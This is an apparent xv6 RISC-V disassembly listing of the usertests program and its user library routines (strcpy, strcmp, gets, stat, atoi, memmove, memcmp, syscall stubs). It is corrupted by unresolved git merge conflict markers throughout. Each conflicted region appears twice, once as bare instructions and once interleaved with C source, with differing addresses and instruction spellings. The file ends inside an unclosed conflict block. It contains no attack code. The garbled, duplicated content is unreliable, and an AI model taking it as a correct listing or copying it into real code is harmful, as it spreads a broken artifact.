510c: 00003597 auipc a1,0x3
5110: c8c58593 addi a1,a1,-884 # 7d98 <l_free+0x2332>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
5114: 6488 ld a0,8(s1)
5116: 00000097 auipc ra,0x0
511a: 164080e7 jalr 356(ra) # 527a <strcmp>
511e: cd71 beqz a0,51fa <main+0x1b2>
<<<<<<< HEAD
=======
} else if (argc == 2 && argv[1][0] != '-') {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
5120: 0084b903 ld s2,8(s1)
5124: 00094703 lbu a4,0(s2)
5128: 02d00793 li a5,45
512c: f4f719e3 bne a4,a5,507e <main+0x36>
<<<<<<< HEAD
5130: 00003517 auipc a0,0x3
5134: bb850513 addi a0,a0,-1096 # 7ce8 <l_free+0x2280>
5138: 00000097 auipc ra,0x0
513c: 70e080e7 jalr 1806(ra) # 5846 <printf>
5140: 4505 li a0,1
5142: 00000097 auipc ra,0x0
5146: 38a080e7 jalr 906(ra) # 54cc <exit>
514a: 4505 li a0,1
514c: 00000097 auipc ra,0x0
5150: 380080e7 jalr 896(ra) # 54cc <exit>
5154: 40a905bb subw a1,s2,a0
5158: 855a mv a0,s6
515a: 00000097 auipc ra,0x0
515e: 6ec080e7 jalr 1772(ra) # 5846 <printf>
5162: 07498763 beq s3,s4,51d0 <main+0x188>
5166: 4505 li a0,1
5168: 00000097 auipc ra,0x0
516c: 364080e7 jalr 868(ra) # 54cc <exit>
5170: 04c1 addi s1,s1,16
5172: 6488 ld a0,8(s1)
5174: c115 beqz a0,5198 <main+0x150>
=======
printf("Usage: usertests [-c] [testname]\n");
5130: 00003517 auipc a0,0x3
5134: bb850513 addi a0,a0,-1096 # 7ce8 <l_free+0x2282>
5138: 00000097 auipc ra,0x0
513c: 70c080e7 jalr 1804(ra) # 5844 <printf>
exit(1);
5140: 4505 li a0,1
5142: 00000097 auipc ra,0x0
5146: 38a080e7 jalr 906(ra) # 54cc <exit>
exit(1);
514a: 4505 li a0,1
514c: 00000097 auipc ra,0x0
5150: 380080e7 jalr 896(ra) # 54cc <exit>
printf("FAILED -- lost %d free pages\n", free0 - free1);
5154: 40a905bb subw a1,s2,a0
5158: 855a mv a0,s6
515a: 00000097 auipc ra,0x0
515e: 6ea080e7 jalr 1770(ra) # 5844 <printf>
if (continuous != 2)
5162: 07498763 beq s3,s4,51d0 <main+0x188>
exit(1);
5166: 4505 li a0,1
5168: 00000097 auipc ra,0x0
516c: 364080e7 jalr 868(ra) # 54cc <exit>
for (struct test *t = tests; t->s != 0; t++) {
5170: 04c1 addi s1,s1,16
5172: 6488 ld a0,8(s1)
5174: c115 beqz a0,5198 <main+0x150>
if ((justone == 0) || strcmp(t->s, justone) == 0) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
5176: 00090863 beqz s2,5186 <main+0x13e>
517a: 85ca mv a1,s2
517c: 00000097 auipc ra,0x0
5180: 0fe080e7 jalr 254(ra) # 527a <strcmp>
5184: f575 bnez a0,5170 <main+0x128>
<<<<<<< HEAD
=======
if (!run(t->f, t->s))
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
5186: 648c ld a1,8(s1)
5188: 6088 ld a0,0(s1)
518a: 00000097 auipc ra,0x0
518e: e20080e7 jalr -480(ra) # 4faa <run>
5192: fd79 bnez a0,5170 <main+0x128>
<<<<<<< HEAD
5194: 89d2 mv s3,s4
5196: bfe9 j 5170 <main+0x128>
5198: f40982e3 beqz s3,50dc <main+0x94>
519c: 00003517 auipc a0,0x3
51a0: b9450513 addi a0,a0,-1132 # 7d30 <l_free+0x22c8>
51a4: 00000097 auipc ra,0x0
51a8: 6a2080e7 jalr 1698(ra) # 5846 <printf>
51ac: 4505 li a0,1
51ae: 00000097 auipc ra,0x0
51b2: 31e080e7 jalr 798(ra) # 54cc <exit>
51b6: 8556 mv a0,s5
51b8: 00000097 auipc ra,0x0
51bc: 68e080e7 jalr 1678(ra) # 5846 <printf>
51c0: f94995e3 bne s3,s4,514a <main+0x102>
51c4: 00000097 auipc ra,0x0
51c8: cb6080e7 jalr -842(ra) # 4e7a <countfree>
51cc: f92544e3 blt a0,s2,5154 <main+0x10c>
51d0: 00000097 auipc ra,0x0
51d4: caa080e7 jalr -854(ra) # 4e7a <countfree>
51d8: 892a mv s2,a0
51da: c3843583 ld a1,-968(s0)
51de: d1fd beqz a1,51c4 <main+0x17c>
51e0: c3040493 addi s1,s0,-976
=======
fail = 1;
5194: 89d2 mv s3,s4
5196: bfe9 j 5170 <main+0x128>
if (fail) {
5198: f40982e3 beqz s3,50dc <main+0x94>
printf("SOME TESTS FAILED\n");
519c: 00003517 auipc a0,0x3
51a0: b9450513 addi a0,a0,-1132 # 7d30 <l_free+0x22ca>
51a4: 00000097 auipc ra,0x0
51a8: 6a0080e7 jalr 1696(ra) # 5844 <printf>
exit(1);
51ac: 4505 li a0,1
51ae: 00000097 auipc ra,0x0
51b2: 31e080e7 jalr 798(ra) # 54cc <exit>
printf("SOME TESTS FAILED\n");
51b6: 8556 mv a0,s5
51b8: 00000097 auipc ra,0x0
51bc: 68c080e7 jalr 1676(ra) # 5844 <printf>
if (continuous != 2)
51c0: f94995e3 bne s3,s4,514a <main+0x102>
int free1 = countfree();
51c4: 00000097 auipc ra,0x0
51c8: cb6080e7 jalr -842(ra) # 4e7a <countfree>
if (free1 < free0) {
51cc: f92544e3 blt a0,s2,5154 <main+0x10c>
int free0 = countfree();
51d0: 00000097 auipc ra,0x0
51d4: caa080e7 jalr -854(ra) # 4e7a <countfree>
51d8: 892a mv s2,a0
for (struct test *t = tests; t->s != 0; t++) {
51da: c3843583 ld a1,-968(s0)
51de: d1fd beqz a1,51c4 <main+0x17c>
51e0: c3040493 addi s1,s0,-976
if (!run(t->f, t->s)) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
51e4: 6088 ld a0,0(s1)
51e6: 00000097 auipc ra,0x0
51ea: dc4080e7 jalr -572(ra) # 4faa <run>
51ee: d561 beqz a0,51b6 <main+0x16e>
<<<<<<< HEAD
=======
for (struct test *t = tests; t->s != 0; t++) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
51f0: 04c1 addi s1,s1,16
51f2: 648c ld a1,8(s1)
51f4: f9e5 bnez a1,51e4 <main+0x19c>
51f6: b7f9 j 51c4 <main+0x17c>
<<<<<<< HEAD
51f8: 4985 li s3,1
51fa: 00003797 auipc a5,0x3
51fe: bc678793 addi a5,a5,-1082 # 7dc0 <l_free+0x2358>
5202: c3040713 addi a4,s0,-976
5206: 00003317 auipc t1,0x3
520a: f4a30313 addi t1,t1,-182 # 8150 <l_free+0x26e8>
=======
continuous = 1;
51f8: 4985 li s3,1
} tests[] = {
51fa: 00003797 auipc a5,0x3
51fe: bc678793 addi a5,a5,-1082 # 7dc0 <l_free+0x235a>
5202: c3040713 addi a4,s0,-976
5206: 00003317 auipc t1,0x3
520a: f4a30313 addi t1,t1,-182 # 8150 <l_free+0x26ea>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
520e: 0007b883 ld a7,0(a5)
5212: 0087b803 ld a6,8(a5)
5216: 6b88 ld a0,16(a5)
5218: 6f8c ld a1,24(a5)
521a: 7390 ld a2,32(a5)
521c: 7794 ld a3,40(a5)
521e: 01173023 sd a7,0(a4)
5222: 01073423 sd a6,8(a4)
5226: eb08 sd a0,16(a4)
5228: ef0c sd a1,24(a4)
522a: f310 sd a2,32(a4)
522c: f714 sd a3,40(a4)
522e: 03078793 addi a5,a5,48
5232: 03070713 addi a4,a4,48
5236: fc679ce3 bne a5,t1,520e <main+0x1c6>
<<<<<<< HEAD
523a: 00003517 auipc a0,0x3
523e: b3e50513 addi a0,a0,-1218 # 7d78 <l_free+0x2310>
5242: 00000097 auipc ra,0x0
5246: 604080e7 jalr 1540(ra) # 5846 <printf>
524a: 00003a97 auipc s5,0x3
524e: ae6a8a93 addi s5,s5,-1306 # 7d30 <l_free+0x22c8>
5252: 4a09 li s4,2
5254: 00003b17 auipc s6,0x3
5258: abcb0b13 addi s6,s6,-1348 # 7d10 <l_free+0x22a8>
525c: bf95 j 51d0 <main+0x188>
000000000000525e <strcpy>:
525e: 1141 addi sp,sp,-16
5260: e422 sd s0,8(sp)
5262: 0800 addi s0,sp,16
=======
printf("continuous usertests starting\n");
523a: 00003517 auipc a0,0x3
523e: b3e50513 addi a0,a0,-1218 # 7d78 <l_free+0x2312>
5242: 00000097 auipc ra,0x0
5246: 602080e7 jalr 1538(ra) # 5844 <printf>
printf("SOME TESTS FAILED\n");
524a: 00003a97 auipc s5,0x3
524e: ae6a8a93 addi s5,s5,-1306 # 7d30 <l_free+0x22ca>
if (continuous != 2)
5252: 4a09 li s4,2
printf("FAILED -- lost %d free pages\n", free0 - free1);
5254: 00003b17 auipc s6,0x3
5258: abcb0b13 addi s6,s6,-1348 # 7d10 <l_free+0x22aa>
525c: bf95 j 51d0 <main+0x188>
000000000000525e <strcpy>:
#include "kernel/fcntl.h"
#include "user/user.h"
char*
strcpy(char *s, const char *t)
{
525e: 1141 addi sp,sp,-16
5260: e422 sd s0,8(sp)
5262: 0800 addi s0,sp,16
char *os;
os = s;
while((*s++ = *t++) != 0)
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
5264: 87aa mv a5,a0
5266: 0585 addi a1,a1,1
5268: 0785 addi a5,a5,1
526a: fff5c703 lbu a4,-1(a1)
526e: fee78fa3 sb a4,-1(a5)
5272: fb75 bnez a4,5266 <strcpy+0x8>
<<<<<<< HEAD
=======
;
return os;
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
5274: 6422 ld s0,8(sp)
5276: 0141 addi sp,sp,16
5278: 8082 ret
000000000000527a <strcmp>:
<<<<<<< HEAD
527a: 1141 addi sp,sp,-16
527c: e422 sd s0,8(sp)
527e: 0800 addi s0,sp,16
=======
int
strcmp(const char *p, const char *q)
{
527a: 1141 addi sp,sp,-16
527c: e422 sd s0,8(sp)
527e: 0800 addi s0,sp,16
while(*p && *p == *q)
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
5280: 00054783 lbu a5,0(a0)
5284: cb91 beqz a5,5298 <strcmp+0x1e>
5286: 0005c703 lbu a4,0(a1)
528a: 00f71763 bne a4,a5,5298 <strcmp+0x1e>
<<<<<<< HEAD
528e: 0505 addi a0,a0,1
5290: 0585 addi a1,a1,1
5292: 00054783 lbu a5,0(a0)
5296: fbe5 bnez a5,5286 <strcmp+0xc>
5298: 0005c503 lbu a0,0(a1)
=======
p++, q++;
528e: 0505 addi a0,a0,1
5290: 0585 addi a1,a1,1
while(*p && *p == *q)
5292: 00054783 lbu a5,0(a0)
5296: fbe5 bnez a5,5286 <strcmp+0xc>
return (uchar)*p - (uchar)*q;
5298: 0005c503 lbu a0,0(a1)
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
529c: 40a7853b subw a0,a5,a0
52a0: 6422 ld s0,8(sp)
52a2: 0141 addi sp,sp,16
52a4: 8082 ret
00000000000052a6 <strlen>:
<<<<<<< HEAD
52a6: 1141 addi sp,sp,-16
52a8: e422 sd s0,8(sp)
52aa: 0800 addi s0,sp,16
=======
uint
strlen(const char *s)
{
52a6: 1141 addi sp,sp,-16
52a8: e422 sd s0,8(sp)
52aa: 0800 addi s0,sp,16
int n;
for(n = 0; s[n]; n++)
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
52ac: 00054783 lbu a5,0(a0)
52b0: cf91 beqz a5,52cc <strlen+0x26>
52b2: 0505 addi a0,a0,1
52b4: 87aa mv a5,a0
52b6: 4685 li a3,1
52b8: 9e89 subw a3,a3,a0
52ba: 00f6853b addw a0,a3,a5
52be: 0785 addi a5,a5,1
52c0: fff7c703 lbu a4,-1(a5)
52c4: fb7d bnez a4,52ba <strlen+0x14>
<<<<<<< HEAD
52c6: 6422 ld s0,8(sp)
52c8: 0141 addi sp,sp,16
52ca: 8082 ret
=======
;
return n;
}
52c6: 6422 ld s0,8(sp)
52c8: 0141 addi sp,sp,16
52ca: 8082 ret
for(n = 0; s[n]; n++)
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
52cc: 4501 li a0,0
52ce: bfe5 j 52c6 <strlen+0x20>
00000000000052d0 <memset>:
<<<<<<< HEAD
52d0: 1141 addi sp,sp,-16
52d2: e422 sd s0,8(sp)
52d4: 0800 addi s0,sp,16
=======
void*
memset(void *dst, int c, uint n)
{
52d0: 1141 addi sp,sp,-16
52d2: e422 sd s0,8(sp)
52d4: 0800 addi s0,sp,16
char *cdst = (char *) dst;
int i;
for(i = 0; i < n; i++){
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
52d6: ca19 beqz a2,52ec <memset+0x1c>
52d8: 87aa mv a5,a0
52da: 1602 slli a2,a2,0x20
52dc: 9201 srli a2,a2,0x20
52de: 00a60733 add a4,a2,a0
<<<<<<< HEAD
52e2: 00b78023 sb a1,0(a5)
52e6: 0785 addi a5,a5,1
52e8: fee79de3 bne a5,a4,52e2 <memset+0x12>
52ec: 6422 ld s0,8(sp)
52ee: 0141 addi sp,sp,16
52f0: 8082 ret
00000000000052f2 <strchr>:
52f2: 1141 addi sp,sp,-16
52f4: e422 sd s0,8(sp)
52f6: 0800 addi s0,sp,16
52f8: 00054783 lbu a5,0(a0)
52fc: cb99 beqz a5,5312 <strchr+0x20>
52fe: 00f58763 beq a1,a5,530c <strchr+0x1a>
5302: 0505 addi a0,a0,1
5304: 00054783 lbu a5,0(a0)
5308: fbfd bnez a5,52fe <strchr+0xc>
530a: 4501 li a0,0
530c: 6422 ld s0,8(sp)
530e: 0141 addi sp,sp,16
5310: 8082 ret
5312: 4501 li a0,0
5314: bfe5 j 530c <strchr+0x1a>
0000000000005316 <gets>:
=======
cdst[i] = c;
52e2: 00b78023 sb a1,0(a5)
for(i = 0; i < n; i++){
52e6: 0785 addi a5,a5,1
52e8: fee79de3 bne a5,a4,52e2 <memset+0x12>
}
return dst;
}
52ec: 6422 ld s0,8(sp)
52ee: 0141 addi sp,sp,16
52f0: 8082 ret
00000000000052f2 <strchr>:
char*
strchr(const char *s, char c)
{
52f2: 1141 addi sp,sp,-16
52f4: e422 sd s0,8(sp)
52f6: 0800 addi s0,sp,16
for(; *s; s++)
52f8: 00054783 lbu a5,0(a0)
52fc: cb99 beqz a5,5312 <strchr+0x20>
if(*s == c)
52fe: 00f58763 beq a1,a5,530c <strchr+0x1a>
for(; *s; s++)
5302: 0505 addi a0,a0,1
5304: 00054783 lbu a5,0(a0)
5308: fbfd bnez a5,52fe <strchr+0xc>
return (char*)s;
return 0;
530a: 4501 li a0,0
}
530c: 6422 ld s0,8(sp)
530e: 0141 addi sp,sp,16
5310: 8082 ret
return 0;
5312: 4501 li a0,0
5314: bfe5 j 530c <strchr+0x1a>
0000000000005316 <gets>:
char*
gets(char *buf, int max)
{
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
5316: 711d addi sp,sp,-96
5318: ec86 sd ra,88(sp)
531a: e8a2 sd s0,80(sp)
531c: e4a6 sd s1,72(sp)
531e: e0ca sd s2,64(sp)
5320: fc4e sd s3,56(sp)
5322: f852 sd s4,48(sp)
5324: f456 sd s5,40(sp)
5326: f05a sd s6,32(sp)
5328: ec5e sd s7,24(sp)
532a: 1080 addi s0,sp,96
532c: 8baa mv s7,a0
532e: 8a2e mv s4,a1
<<<<<<< HEAD
5330: 892a mv s2,a0
5332: 4481 li s1,0
5334: 4aa9 li s5,10
5336: 4b35 li s6,13
5338: 89a6 mv s3,s1
533a: 2485 addiw s1,s1,1
533c: 0344d863 bge s1,s4,536c <gets+0x56>
=======
int i, cc;
char c;
for(i=0; i+1 < max; ){
5330: 892a mv s2,a0
5332: 4481 li s1,0
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
5334: 4aa9 li s5,10
5336: 4b35 li s6,13
for(i=0; i+1 < max; ){
5338: 89a6 mv s3,s1
533a: 2485 addiw s1,s1,1
533c: 0344d863 bge s1,s4,536c <gets+0x56>
cc = read(0, &c, 1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
5340: 4605 li a2,1
5342: faf40593 addi a1,s0,-81
5346: 4501 li a0,0
5348: 00000097 auipc ra,0x0
534c: 19c080e7 jalr 412(ra) # 54e4 <read>
<<<<<<< HEAD
5350: 00a05e63 blez a0,536c <gets+0x56>
5354: faf44783 lbu a5,-81(s0)
5358: 00f90023 sb a5,0(s2)
535c: 01578763 beq a5,s5,536a <gets+0x54>
5360: 0905 addi s2,s2,1
5362: fd679be3 bne a5,s6,5338 <gets+0x22>
5366: 89a6 mv s3,s1
5368: a011 j 536c <gets+0x56>
536a: 89a6 mv s3,s1
536c: 99de add s3,s3,s7
536e: 00098023 sb zero,0(s3)
=======
if(cc < 1)
5350: 00a05e63 blez a0,536c <gets+0x56>
buf[i++] = c;
5354: faf44783 lbu a5,-81(s0)
5358: 00f90023 sb a5,0(s2)
if(c == '\n' || c == '\r')
535c: 01578763 beq a5,s5,536a <gets+0x54>
5360: 0905 addi s2,s2,1
5362: fd679be3 bne a5,s6,5338 <gets+0x22>
for(i=0; i+1 < max; ){
5366: 89a6 mv s3,s1
5368: a011 j 536c <gets+0x56>
536a: 89a6 mv s3,s1
break;
}
buf[i] = '\0';
536c: 99de add s3,s3,s7
536e: 00098023 sb zero,0(s3)
return buf;
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
5372: 855e mv a0,s7
5374: 60e6 ld ra,88(sp)
5376: 6446 ld s0,80(sp)
5378: 64a6 ld s1,72(sp)
537a: 6906 ld s2,64(sp)
537c: 79e2 ld s3,56(sp)
537e: 7a42 ld s4,48(sp)
5380: 7aa2 ld s5,40(sp)
5382: 7b02 ld s6,32(sp)
5384: 6be2 ld s7,24(sp)
5386: 6125 addi sp,sp,96
5388: 8082 ret
000000000000538a <stat>:
<<<<<<< HEAD
=======
int
stat(const char *n, struct stat *st)
{
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
538a: 1101 addi sp,sp,-32
538c: ec06 sd ra,24(sp)
538e: e822 sd s0,16(sp)
5390: e426 sd s1,8(sp)
5392: e04a sd s2,0(sp)
5394: 1000 addi s0,sp,32
5396: 892e mv s2,a1
<<<<<<< HEAD
5398: 4581 li a1,0
539a: 00000097 auipc ra,0x0
539e: 172080e7 jalr 370(ra) # 550c <open>
53a2: 02054563 bltz a0,53cc <stat+0x42>
53a6: 84aa mv s1,a0
=======
int fd;
int r;
fd = open(n, O_RDONLY);
5398: 4581 li a1,0
539a: 00000097 auipc ra,0x0
539e: 172080e7 jalr 370(ra) # 550c <open>
if(fd < 0)
53a2: 02054563 bltz a0,53cc <stat+0x42>
53a6: 84aa mv s1,a0
return -1;
r = fstat(fd, st);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
53a8: 85ca mv a1,s2
53aa: 00000097 auipc ra,0x0
53ae: 17a080e7 jalr 378(ra) # 5524 <fstat>
53b2: 892a mv s2,a0
<<<<<<< HEAD
53b4: 8526 mv a0,s1
53b6: 00000097 auipc ra,0x0
53ba: 13e080e7 jalr 318(ra) # 54f4 <close>
=======
close(fd);
53b4: 8526 mv a0,s1
53b6: 00000097 auipc ra,0x0
53ba: 13e080e7 jalr 318(ra) # 54f4 <close>
return r;
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
53be: 854a mv a0,s2
53c0: 60e2 ld ra,24(sp)
53c2: 6442 ld s0,16(sp)
53c4: 64a2 ld s1,8(sp)
53c6: 6902 ld s2,0(sp)
53c8: 6105 addi sp,sp,32
53ca: 8082 ret
<<<<<<< HEAD
=======
return -1;
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
53cc: 597d li s2,-1
53ce: bfc5 j 53be <stat+0x34>
00000000000053d0 <atoi>:
<<<<<<< HEAD
53d0: 1141 addi sp,sp,-16
53d2: e422 sd s0,8(sp)
53d4: 0800 addi s0,sp,16
53d6: 00054603 lbu a2,0(a0)
53da: fd06079b addiw a5,a2,-48
53de: 0ff7f793 zext.b a5,a5
53e2: 4725 li a4,9
53e4: 02f76963 bltu a4,a5,5416 <atoi+0x46>
53e8: 86aa mv a3,a0
53ea: 4501 li a0,0
53ec: 45a5 li a1,9
=======
int
atoi(const char *s)
{
53d0: 1141 addi sp,sp,-16
53d2: e422 sd s0,8(sp)
53d4: 0800 addi s0,sp,16
int n;
n = 0;
while('0' <= *s && *s <= '9')
53d6: 00054603 lbu a2,0(a0)
53da: fd06079b addiw a5,a2,-48
53de: 0ff7f793 andi a5,a5,255
53e2: 4725 li a4,9
53e4: 02f76963 bltu a4,a5,5416 <atoi+0x46>
53e8: 86aa mv a3,a0
n = 0;
53ea: 4501 li a0,0
while('0' <= *s && *s <= '9')
53ec: 45a5 li a1,9
n = n*10 + *s++ - '0';
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
53ee: 0685 addi a3,a3,1
53f0: 0025179b slliw a5,a0,0x2
53f4: 9fa9 addw a5,a5,a0
53f6: 0017979b slliw a5,a5,0x1
53fa: 9fb1 addw a5,a5,a2
53fc: fd07851b addiw a0,a5,-48
<<<<<<< HEAD
5400: 0006c603 lbu a2,0(a3)
5404: fd06071b addiw a4,a2,-48
5408: 0ff77713 zext.b a4,a4
540c: fee5f1e3 bgeu a1,a4,53ee <atoi+0x1e>
5410: 6422 ld s0,8(sp)
5412: 0141 addi sp,sp,16
5414: 8082 ret
=======
while('0' <= *s && *s <= '9')
5400: 0006c603 lbu a2,0(a3)
5404: fd06071b addiw a4,a2,-48
5408: 0ff77713 andi a4,a4,255
540c: fee5f1e3 bgeu a1,a4,53ee <atoi+0x1e>
return n;
}
5410: 6422 ld s0,8(sp)
5412: 0141 addi sp,sp,16
5414: 8082 ret
n = 0;
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
5416: 4501 li a0,0
5418: bfe5 j 5410 <atoi+0x40>
000000000000541a <memmove>:
<<<<<<< HEAD
541a: 1141 addi sp,sp,-16
541c: e422 sd s0,8(sp)
541e: 0800 addi s0,sp,16
5420: 02b57463 bgeu a0,a1,5448 <memmove+0x2e>
=======
void*
memmove(void *vdst, const void *vsrc, int n)
{
541a: 1141 addi sp,sp,-16
541c: e422 sd s0,8(sp)
541e: 0800 addi s0,sp,16
char *dst;
const char *src;
dst = vdst;
src = vsrc;
if (src > dst) {
5420: 02b57463 bgeu a0,a1,5448 <memmove+0x2e>
while(n-- > 0)
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
5424: 00c05f63 blez a2,5442 <memmove+0x28>
5428: 1602 slli a2,a2,0x20
542a: 9201 srli a2,a2,0x20
542c: 00c507b3 add a5,a0,a2
<<<<<<< HEAD
5430: 872a mv a4,a0
=======
dst = vdst;
5430: 872a mv a4,a0
*dst++ = *src++;
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
5432: 0585 addi a1,a1,1
5434: 0705 addi a4,a4,1
5436: fff5c683 lbu a3,-1(a1)
543a: fed70fa3 sb a3,-1(a4)
<<<<<<< HEAD
543e: fee79ae3 bne a5,a4,5432 <memmove+0x18>
5442: 6422 ld s0,8(sp)
5444: 0141 addi sp,sp,16
5446: 8082 ret
5448: 00c50733 add a4,a0,a2
544c: 95b2 add a1,a1,a2
=======
while(n-- > 0)
543e: fee79ae3 bne a5,a4,5432 <memmove+0x18>
src += n;
while(n-- > 0)
*--dst = *--src;
}
return vdst;
}
5442: 6422 ld s0,8(sp)
5444: 0141 addi sp,sp,16
5446: 8082 ret
dst += n;
5448: 00c50733 add a4,a0,a2
src += n;
544c: 95b2 add a1,a1,a2
while(n-- > 0)
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
544e: fec05ae3 blez a2,5442 <memmove+0x28>
5452: fff6079b addiw a5,a2,-1
5456: 1782 slli a5,a5,0x20
5458: 9381 srli a5,a5,0x20
545a: fff7c793 not a5,a5
545e: 97ba add a5,a5,a4
<<<<<<< HEAD
=======
*--dst = *--src;
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
5460: 15fd addi a1,a1,-1
5462: 177d addi a4,a4,-1
5464: 0005c683 lbu a3,0(a1)
5468: 00d70023 sb a3,0(a4)
<<<<<<< HEAD
=======
while(n-- > 0)
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
546c: fee79ae3 bne a5,a4,5460 <memmove+0x46>
5470: bfc9 j 5442 <memmove+0x28>
0000000000005472 <memcmp>:
<<<<<<< HEAD
5472: 1141 addi sp,sp,-16
5474: e422 sd s0,8(sp)
5476: 0800 addi s0,sp,16
=======
int
memcmp(const void *s1, const void *s2, uint n)
{
5472: 1141 addi sp,sp,-16
5474: e422 sd s0,8(sp)
5476: 0800 addi s0,sp,16
const char *p1 = s1, *p2 = s2;
while (n-- > 0) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
5478: ca05 beqz a2,54a8 <memcmp+0x36>
547a: fff6069b addiw a3,a2,-1
547e: 1682 slli a3,a3,0x20
5480: 9281 srli a3,a3,0x20
5482: 0685 addi a3,a3,1
5484: 96aa add a3,a3,a0
<<<<<<< HEAD
5486: 00054783 lbu a5,0(a0)
548a: 0005c703 lbu a4,0(a1)
548e: 00e79863 bne a5,a4,549e <memcmp+0x2c>
5492: 0505 addi a0,a0,1
5494: 0585 addi a1,a1,1
5496: fed518e3 bne a0,a3,5486 <memcmp+0x14>
549a: 4501 li a0,0
549c: a019 j 54a2 <memcmp+0x30>
549e: 40e7853b subw a0,a5,a4
54a2: 6422 ld s0,8(sp)
54a4: 0141 addi sp,sp,16
54a6: 8082 ret
=======
if (*p1 != *p2) {
5486: 00054783 lbu a5,0(a0)
548a: 0005c703 lbu a4,0(a1)
548e: 00e79863 bne a5,a4,549e <memcmp+0x2c>
return *p1 - *p2;
}
p1++;
5492: 0505 addi a0,a0,1
p2++;
5494: 0585 addi a1,a1,1
while (n-- > 0) {
5496: fed518e3 bne a0,a3,5486 <memcmp+0x14>
}
return 0;
549a: 4501 li a0,0
549c: a019 j 54a2 <memcmp+0x30>
return *p1 - *p2;
549e: 40e7853b subw a0,a5,a4
}
54a2: 6422 ld s0,8(sp)
54a4: 0141 addi sp,sp,16
54a6: 8082 ret
return 0;
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
54a8: 4501 li a0,0
54aa: bfe5 j 54a2 <memcmp+0x30>
00000000000054ac <memcpy>:
<<<<<<< HEAD
=======
void *
memcpy(void *dst, const void *src, uint n)
{
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
54ac: 1141 addi sp,sp,-16
54ae: e406 sd ra,8(sp)
54b0: e022 sd s0,0(sp)
54b2: 0800 addi s0,sp,16
<<<<<<< HEAD
54b4: 00000097 auipc ra,0x0
54b8: f66080e7 jalr -154(ra) # 541a <memmove>
=======
return memmove(dst, src, n);
54b4: 00000097 auipc ra,0x0
54b8: f66080e7 jalr -154(ra) # 541a <memmove>
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
54bc: 60a2 ld ra,8(sp)
54be: 6402 ld s0,0(sp)
54c0: 0141 addi sp,sp,16
54c2: 8082 ret
<<<<<<< HEAD
00000000000054c4 <fork>:
54c4: 4885 li a7,1
54c6: 00000073 ecall
54ca: 8082 ret
00000000000054cc <exit>:
54cc: 4889 li a7,2
54ce: 00000073 ecall
54d2: 8082 ret
00000000000054d4 <wait>:
54d4: 488d li a7,3
54d6: 00000073 ecall
54da: 8082 ret
00000000000054dc <pipe>:
54dc: 4891 li a7,4
54de: 00000073 ecall
54e2: 8082 ret
00000000000054e4 <read>:
54e4: 4895 li a7,5
54e6: 00000073 ecall
54ea: 8082 ret
00000000000054ec <write>:
54ec: 48c1 li a7,16
54ee: 00000073 ecall
54f2: 8082 ret
00000000000054f4 <close>:
54f4: 48d5 li a7,21
54f6: 00000073 ecall
54fa: 8082 ret
00000000000054fc <kill>:
54fc: 4899 li a7,6
54fe: 00000073 ecall
5502: 8082 ret
0000000000005504 <exec>:
5504: 489d li a7,7
5506: 00000073 ecall
550a: 8082 ret
000000000000550c <open>:
550c: 48bd li a7,15
550e: 00000073 ecall
5512: 8082 ret
0000000000005514 <mknod>:
5514: 48c5 li a7,17
5516: 00000073 ecall
551a: 8082 ret
000000000000551c <unlink>:
551c: 48c9 li a7,18
551e: 00000073 ecall
5522: 8082 ret
0000000000005524 <fstat>:
5524: 48a1 li a7,8
5526: 00000073 ecall
552a: 8082 ret
000000000000552c <link>:
552c: 48cd li a7,19
552e: 00000073 ecall
5532: 8082 ret
0000000000005534 <mkdir>:
5534: 48d1 li a7,20
5536: 00000073 ecall
553a: 8082 ret
000000000000553c <chdir>:
553c: 48a5 li a7,9
553e: 00000073 ecall
5542: 8082 ret
0000000000005544 <dup>:
5544: 48a9 li a7,10
5546: 00000073 ecall
554a: 8082 ret
000000000000554c <getpid>:
554c: 48ad li a7,11
554e: 00000073 ecall
5552: 8082 ret
0000000000005554 <sbrk>:
5554: 48b1 li a7,12
5556: 00000073 ecall
555a: 8082 ret
000000000000555c <sleep>:
555c: 48b5 li a7,13
555e: 00000073 ecall
5562: 8082 ret
0000000000005564 <uptime>:
5564: 48b9 li a7,14
5566: 00000073 ecall
556a: 8082 ret
=======
00000000000054c4 <fork>:
# generated by usys.pl - do not edit
#include "kernel/syscall.h"
.global fork
fork:
li a7, SYS_fork
54c4: 4885 li a7,1
ecall
54c6: 00000073 ecall
ret
54ca: 8082 ret
00000000000054cc <exit>:
.global exit
exit:
li a7, SYS_exit
54cc: 4889 li a7,2
ecall
54ce: 00000073 ecall
ret
54d2: 8082 ret
